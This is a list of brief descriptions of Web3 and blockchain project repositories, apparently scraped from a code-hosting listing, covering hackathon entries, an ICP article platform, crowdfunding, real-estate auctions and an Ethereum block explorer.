Personal journey through Harkirat Singh's Cohort 3.0, A deep dive into full stack web development including MERN stack, Web3 fundamentals, and real-world project building.

This project is a web3.0 application built on the Internet Computer Protocol (ICP) blockchain. It provides a platform where authors can publish articles specifically related to ICP blockchain technology. Users can interact with the content and participate in a learn and earn system.

Crowdfunding is platform which will rise funds for good and talented entrepreneur. Connected to the blockchain for security and transparency.

No description available

Garuda Hacks 3.0 Winner🏆 - Polygon Web3 Project

No description available

BlocEstate is a Web3 platform on the ICP network for real estate auctions in Indonesia, enabling secure and transparent property transactions with Internet Identity integration. This project was created for the 'ICP Hackathon 7.0' competition, organized by ICP Hub Indonesia.

Contains various web3 projects - Kickstarter, Lottery, and Inbox. All built on Solidity, Ethereum, Smart contracts as backend, and Web3.0, Node.js, React.js as frontend.

A lightweight ethereum block explorer, written in Angular 6, TypeScript, Web3.js 1.0.0; This Project is a complete rewrite of https://github.com/etherparty/explorer and shared with GNU LGPL license

NITS Hacks 7.0 Winning Project , Welcome to MoneyLink – Your gateway to secure, transparent, and community-driven micro-lending! Whether you're in a rural district or a bustling city, MoneyLink uses Blockchain and Web3 technology to revolutionize financial transactions, making them safer and faster.

Frontend and smart contract for puppy sponsor web3.0 project.

web3.0 game project

This repository contains the DevHack2.0 Hackathon Project on Blockchain where we use technologies related to blockchain like Ethereum, Solidity and Web3 to come up with a platform where two people can exchange Ethers(more generalised any cryptocurrency) is a secure manner.

uber clone using blockchain technology web3.0 project

This Repository contains only Web3.0 (Blockchain) Projects

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